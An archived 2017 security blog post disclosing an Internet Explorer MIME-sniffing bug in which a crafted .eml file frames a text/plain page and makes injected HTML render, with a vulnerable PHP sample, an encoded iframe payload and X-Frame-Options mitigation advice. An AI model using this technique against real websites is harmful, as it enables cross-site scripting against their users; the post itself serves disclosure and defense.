[0day] Text/Plain Considered Harmful

[0day] Text/Plain Considered Harmful - Author not stated, jankopecky.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20180808171731/https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/>
- Preserved from: https://web.archive.org/web/20180808171731/https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/ (live) on 2026-08-09
- Capture timestamp: 20180808171731
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Hello reader!

It is time for another blogpost! This time it is about a bug I found and I believe it could be quite useful for you someday. It is worth mentioning it affects all versions of IE (tested on win 7, win 8.1 and win 10). It does not affect Edge.

Ok what is the bug about?

When server sends back response there are several headers included. One of them is content type. This header tells browser what media type is being returned. MDN has detailed description with examples. The thing which happens quite often when we do pentesting is that we encounter some pages which lack input validation and output encoding. This means we found XSS) right? Well not really.. Because Content-Type returned says “text/plan”. This is where the fun ends, because according to these RFC, RFC and this draft, as soon as Content-Type is returned with value text/plain then agent (browser in this case) should jump into binary processing mode. There is no fun in binary mode because it is not scriptable. Let’s illustrate it with an example. Let’s have this file called plain.php:

`<?php header("Content-Type: text/plain"); echo "Hello: ".$_GET["name"]; ?>` As you can see it is super easy example which just takes one parameter. It could be used as playground for xss vulnerabilities, right? Not really! There is first line which says server should return Content-Type header with value “text/plain”. Lets check whether we can inject some harmless HTML.

[image: image]

As expected, we can inject whatever we want, but browser will not render/execute it. Reason is obvious, response is of a type text/plain.

The bug

I found out if you open .eml file IE will perform mime sniffing and if HTML/JS is recognized in the response it will be rendered/executed. First of all what is EML? It is "Microsoft Outlook Express mail message". This format allows email messages to be saved into file (for example for purpose of archivation). I will not dig deep into this format, if you wanna know more, just check this RFC. This is example of .eml file which you can use for testing:

```
root@kali:/var/www/html# cat testeml_1.eml TESTEML Content-Type: text/html Content-Transfer-Encoding: quoted-printable

=3Chtml=3Ethis=20is=20test=3C=2Fhtml=3E
```

You can save content of this file on your web server and access it with IE (please mind two new lines at the end of the file!). You will see it is rendered properly. BTW pay attention to "Content-Transfer-Encoding: quoted-printable" – to make it short it is similar to URL encoding except it uses equal sign instead of percentage.

[image: image]

Does not work for you? Haha that is because wrong Content-Type Correct Content-Type for .eml is "message/rfc822". You can use following .htaccess file:

```
root@kali:/var/www/html# cat .htaccess AddType message/rfc822 .eml
```

Screenshot below shows testeml_1.eml returned with correct Content-Type.

[image: image]

Finally give us the bug!

Ok, Ok, from here it is pretty easy to achieve execution of text/plain responses. Let's use files from previous examples. The file we are attacking is still plain.php. For attacking purpose we will modify testeml_1.eml. The payload:

<iframe src='plain.php?name=<HTML><h1>it works</h1>'></iframe>

Which looks like this after encoding:

=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E

This is how the final file looks like:

```
root@kali:/var/www/html# cat testeml_1.eml TESTEML Content-Type: text/html Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E
```

And this is the result of accessing it in IE:

[image: image]

You see? Exploitation is sucessful! Although we are framing file with content-type “text/plain” we force IE to perform mime sniffing (that is why <HTML> should be presented in the request/response) and render our payload.

Defense?

Best defense is to prevent framing, if you edit the sample file and add header(‘X-Frame-Options: DENY’); exploit will fail.

I would like to warn about following: setting header(‘X-Content-Type-Options: nosniff’); will NOT prevent this attack (good move IE, why would you follow RFC, right?). This cannot be reproduced anymore.

Conclusion

I believe conclusion is very important in this case – follow defense in depth principle! Yes it does not only apply to infrastructure but also web applications. What defense in depth means? It basically says you should not rely only on one layer of protection but rather apply as many layers as possible. For example when you are securing your windows server you don’t just install AV and call it a day. You make sure all patches are applied, proper rules are applied through local policies (or domain), default accounts and disabled, etc.

You should take the same approach when securing your web application. Do not only rely on one layer of protection (in this case broken promise that text/plain is not executable) but rather also implement proper input validation and output encoding. Following this approach will minimalize the chance that your whole application will be exposed to major risk in case one layer of protection breaks.

Thank you for reading this post!

Jan
